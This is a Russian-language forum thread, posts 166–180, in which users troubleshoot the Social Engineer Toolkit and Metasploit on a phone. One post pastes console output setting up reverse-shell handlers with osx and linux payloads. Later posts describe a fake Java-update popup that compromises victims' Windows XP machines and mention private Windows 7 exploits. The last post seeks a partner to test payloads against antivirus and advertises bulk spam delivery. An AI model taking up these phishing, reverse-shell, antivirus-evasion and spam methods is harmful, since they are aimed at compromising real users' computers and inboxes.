166

Re: Social Engineer Toolkit

спасибо) качаю... буду пробовать)))

Поделиться

167

Re: Social Engineer Toolkit

класс, всё работает)) теперь точно будет что изучать на досуге)))
спасибо!)

Поделиться

168

Re: Social Engineer Toolkit

Поднимаю тему smile
Итак, я раскошелился на мобильный интернет ( http://megafon.ru/go/1s пакет "Практичный")
  Сделал я это по двум причинам: 1) Не получилось у меня настроить проброс портов.
                                                   2) Мне действительно понадобился гпрс.
Чтож запускаю сет делаю все как обычно ( то есть по этому способу http://www.offensive-security.com/metas … let_Attack )
Получаю ссылочку вот такого вида ( только с моим ip который показывает виджет)
Started reverse handler on 172.16.32.129:8081
Открываю ее родимою с компа и... ничего!

http://imageplay.net/m7Gbd191621/03.06_thumb.jpg
Во всех браузерах одно и тоже.

Идем дальше: лезу на 2ip.ru и вижу, что ip на виджете и там различаются.

В set на этот случай предусмотрена, как я понял, вот такая функция в конфиге:
http://imageplay.net/m7Gbd191632/03.06_thumb.jpg

Запускаю сет снова, он у меня спрашивает мой ip, я вставляю ip с 2ip.ru
В конце он мне выдает:
Started reverse handler on ip_c_2ip.ru:8081

Запускаю эту ссылку с компа и... все тоже самое.
Что делаю неправильно?

мой твиттер - https://twitter.com/SergeyGrim
мой ютюб канал http://www.youtube.com/MrSergeyGrim

Поделиться

169

Re: Social Engineer Toolkit

Dart
А в конфиге сета что стоит? Ты его правил под себя или нет?

Поделиться

170 (04.06.2011 17:08:54 отредактировано Dart)

Re: Social Engineer Toolkit

Конфиг я правил:
смотри скриншот в верхнем моем посте, там по дефолту AUTO_DETECT стоит на ON я же его вырубил (поставил в OFF), теперь сет каждый раз будет спрашивать у меня мой же айпи, а не определять его сам.

мой твиттер - https://twitter.com/SergeyGrim
мой ютюб канал http://www.youtube.com/MrSergeyGrim

Поделиться

171

Re: Social Engineer Toolkit

Вот что мне пишет сет после запуска метасплоит (может тут где-то указана ошибка):

resource (src/program_junk/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
resource (src/program_junk/meta_config)> use exploit/multi/handler
[*] Started reverse handler on 0.0.0.0:443 
[*] Starting the payload handler...
resource (src/program_junk/meta_config)> set PAYLOAD osx/x86/shell_reverse_tcp
PAYLOAD => osx/x86/shell_reverse_tcp
resource (src/program_junk/meta_config)> set LHOST 10.215.19.92
LHOST => 10.215.19.92
resource (src/program_junk/meta_config)> set LPORT 8080
LPORT => 8080
resource (src/program_junk/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
resource (src/program_junk/meta_config)> use exploit/multi/handler
[*] Started reverse handler on 10.215.19.92:8080 
[*] Starting the payload handler...
resource (src/program_junk/meta_config)> set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
resource (src/program_junk/meta_config)> set LHOST 10.215.19.92
LHOST => 10.215.19.92
resource (src/program_junk/meta_config)> set LPORT 8081
LPORT => 8081
resource (src/program_junk/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (src/program_junk/meta_config)> set AutoRunScript migrate -f
AutoRunScript => migrate -f
resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 10.215.19.92:8081 
[*] Starting the payload handler...
msf exploit(handler) > 
мой твиттер - https://twitter.com/SergeyGrim
мой ютюб канал http://www.youtube.com/MrSergeyGrim

Поделиться

172

Re: Social Engineer Toolkit

Dart
А кроме АутоДетекта еще что то менял?
На сколько я помню, там пути по умолчанию не правильно стоят на MSF...

Поделиться

173

Re: Social Engineer Toolkit

Dominic и это тоже все правлено wink

мой твиттер - https://twitter.com/SergeyGrim
мой ютюб канал http://www.youtube.com/MrSergeyGrim

Поделиться

174

Re: Social Engineer Toolkit

Dart
У меня просто как то такая же похожая фигня была.... Было несколько ошибок, которые помог устранить ZrX///
Так вот были проблемы с конфигом (которые ты говоришь ты решил) и еще была проблема, что при установке MSF и SET что то не получало права на запуск...  Пришлось руками это исправлять..  Сейчас поищу, где то он мне инструкцию скидывал... smile

Поделиться

175

Re: Social Engineer Toolkit

Подскажите в чём проблема плз:

home/user # svn co http://svn.secmaniac.com/social_engineering_toolkit*  set/
Segmentation fault
/home/user # 
N900³ - Forever
+ Jolla

Поделиться

176

Re: Social Engineer Toolkit

Dominic ну что там с инструкцией?

мой твиттер - https://twitter.com/SergeyGrim
мой ютюб канал http://www.youtube.com/MrSergeyGrim

Поделиться

177

Re: Social Engineer Toolkit

Dart
А чёт я ее не нахожу... Причем пару постов кажись не хватает автором которых был наш гуру ZrX... sad

Поделиться

178

Re: Social Engineer Toolkit

Dart
ты должен знать что в итоге будет,хочешь например завтра я подниму google.com на день винда семерка может не захотеть,XP стопудово пробьет.
в той ссылке у тебя в итоге должна запустится в итоге из set консоль метасплойта ,а у жертвы всплывающее окно установки обновления java, но не на всех виндовс это работает,есть приватные експлойты под семерку,ты из маэмо запускаешь или из easy debian.,

живее всех живых

Сайт ZrX

Поделиться

179

Re: Social Engineer Toolkit

ZrX из maemo

мой твиттер - https://twitter.com/SergeyGrim
мой ютюб канал http://www.youtube.com/MrSergeyGrim

Поделиться

180 (13.07.2011 12:51:23 отредактировано indexoid)

Re: Social Engineer Toolkit

ИЩУ НАПАРНИКА,ДЛЯ ТЕСТИРОВАНИЯ SET ИЗ ВНЕШКИ от антивирусов (при себе иметь виртуалку).Есть кое какой опыт,помогу с настройкой итд.icq:600735018

EMAIL-РАССЫЛКА МЕТОД (без вложений 40.000 в inbox за 4 дня) по всем вопросам 7два87один4

Сайт indexoid

Поделиться